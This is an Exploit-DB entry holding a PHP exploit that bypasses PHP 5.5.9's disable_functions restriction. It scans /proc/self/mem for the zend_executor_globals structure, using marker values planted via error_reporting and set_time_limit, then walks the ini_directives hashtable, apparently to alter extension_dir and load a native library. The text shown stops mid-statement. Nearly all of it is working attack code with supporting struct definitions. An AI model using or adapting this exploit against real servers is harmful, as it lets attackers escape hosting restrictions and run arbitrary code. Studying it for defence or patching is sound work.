Exploit-DB #38127
Description: PHP 5.5.9 - 'zend_executor_globals' 'CGIMode FPM WriteProcMemFile' disable_functions Bypass / Load Dynamic Library
Type: webapps
Platform: php
Date: 2015-09-10
Author: ylbhz

Exploit:
<?php
// EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zend_executor_globals-to-bypass-php-disable_functions.pdf

error_reporting(0x66778899);
set_time_limit(0x41424344);
define('ZEND_INI_USER', (1<<0));
define('ZEND_INI_PERDIR', (1<<1));
define('ZEND_INI_SYSTEM', (1<<2));

/*
00df9000-00e16000 rw-p 00000000 00:00 0 
017ff000-01a51000 rw-p 00000000 00:00 0                                  [heap]
error_reporting(0x66778899);

typedef struct bucket {
	ulong h;						/\* Used for numeric indexing *\/
	uint nKeyLength;
	void *pData;
	void *pDataPtr;
	struct bucket *pListNext;
	struct bucket *pListLast;
	struct bucket *pNext;
	struct bucket *pLast;
	const char *arKey;
} Bucket;

typedef struct _hashtable {
	uint nTableSize;
	uint nTableMask;
	uint nNumOfElements;
	ulong nNextFreeElement;
	Bucket *pInternalPointer;	/\* Used for element traversal *\/
	Bucket *pListHead;
	Bucket *pListTail;
	Bucket **arBuckets;
	dtor_func_t pDestructor; //pointer
	zend_bool persistent;
	unsigned char nApplyCount;
	zend_bool bApplyProtection;
#if ZEND_DEBUG
	int inconsistent;
#endif
} HashTable;

struct _zend_executor_globals {
	zval **return_value_ptr_ptr;

	zval uninitialized_zval;
	zval *uninitialized_zval_ptr;

	zval error_zval;
	zval *error_zval_ptr;

	zend_ptr_stack arg_types_stack;

	/\* symbol table cache *\/
	HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
	HashTable **symtable_cache_limit;
	HashTable **symtable_cache_ptr;

	zend_op **opline_ptr;

	HashTable *active_symbol_table;
	HashTable symbol_table;		/\* main symbol table *\/

	HashTable included_files;	/\* files already included *\/

	JMP_BUF *bailout;

	int error_reporting;
	int orig_error_reporting;
	int exit_status;

	zend_op_array *active_op_array;

	HashTable *function_table;	/\* function symbol table *\/
	HashTable *class_table;		/\* class table *\/
	HashTable *zend_constants;	/\* constants table *\/

	zend_class_entry *scope;
	zend_class_entry *called_scope; /\* Scope of the calling class *\/

	zval *This;

	long precision;

	int ticks_count; //10*8

	zend_bool in_execution;  //typedef unsigned char zend_bool;
	HashTable *in_autoload;
	zend_function *autoload_func;
	zend_bool full_tables_cleanup;

	/\* for extended information support *\/
	zend_bool no_extensions;

#ifdef ZEND_WIN32
	zend_bool timed_out;
	OSVERSIONINFOEX windows_version_info;
#endif

	HashTable regular_list;
	HashTable persistent_list;

	zend_vm_stack argument_stack;

	int user_error_handler_error_reporting;
	zval *user_error_handler;
	zval *user_exception_handler;
	zend_stack user_error_handlers_error_reporting;
	zend_ptr_stack user_error_handlers;
	zend_ptr_stack user_exception_handlers;

	zend_error_handling_t  error_handling;
	zend_class_entry      *exception_class;

	/\* timeout support *\/
	int timeout_seconds;

	int lambda_count;

	HashTable *ini_directives;
	HashTable *modified_ini_directives;
	zend_ini_entry *error_reporting_ini_entry;	                

	zend_objects_store objects_store;
	zval *exception, *prev_exception;
	zend_op *opline_before_exception;
	zend_op exception_op[3];

	struct _zend_execute_data *current_execute_data;

	struct _zend_module_entry *current_module;

	zend_property_info std_property_info;

	zend_bool active; 

	zend_op *start_op;

	void *saved_fpu_cw_ptr;
#if XPFPA_HAVE_CW
	XPFPA_CW_DATATYPE saved_fpu_cw;
#endif

	void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

/*
struct _zend_ini_entry {
int module_number;
int modifiable;
char *name;
uint name_length;
ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value;
....

*/
//echo file_get_contents("/proc/self/maps");

$mem = fopen("/proc/self/mem", "rb");

/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 08:01 4997702                            /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702                            /usr/bin/php5
00e94000-00ea1000 rw-p 00894000 08:01 4997702                            /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0 
0278f000-02a65000 rw-p 00000000 00:00 0                                  [heap]

*/
//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i <  0x00ebe000 - 0x00ea1000;$i += 4)
{
	//echo 'x';
	$num = unp(fread($mem, 4));
	if($num == 0x66778899)
	{
		$offset = 0x00ea1000 + $i;
		printf("got noe, offset is:0x%x\r\n", $offset);
		printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
		error_reporting(0x55667788);
		fseek($mem, $offset);
		$num = unp(fread($mem, 4));
		printf("The value is %x\r\n", $num);
		if($num == 0x55667788)
		{
			printf("I found the offset of executor_globals's member error_reporting\r\n");

			printf("read the structure\r\n");
			fseek($mem, $offset);
			fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
			$timeout = dump_value($mem, 4);
			if($timeout == 0x41424344)
			{
				error_reporting(E_ALL); //restore the error reporting
				printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
				dump_value($mem, 4);
				$ini_dir = dump_value($mem, 8);
				printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
				fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
				$arBucket = dump_value($mem, 8);
				printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
				fseek($mem, $arBucket);
				//try to get the first Bucket address
				for($i = 0;$i < 1000;$i ++)
				{
					$bucket = dump_value($mem, 8);
					//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
					fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
					$pdata = dump_value($mem, 8);
					dump_value($mem, 8);
					//printf("This pData address maybe in 0x%016x\r\n", $pdata);

					fseek($mem, $pdata + 8)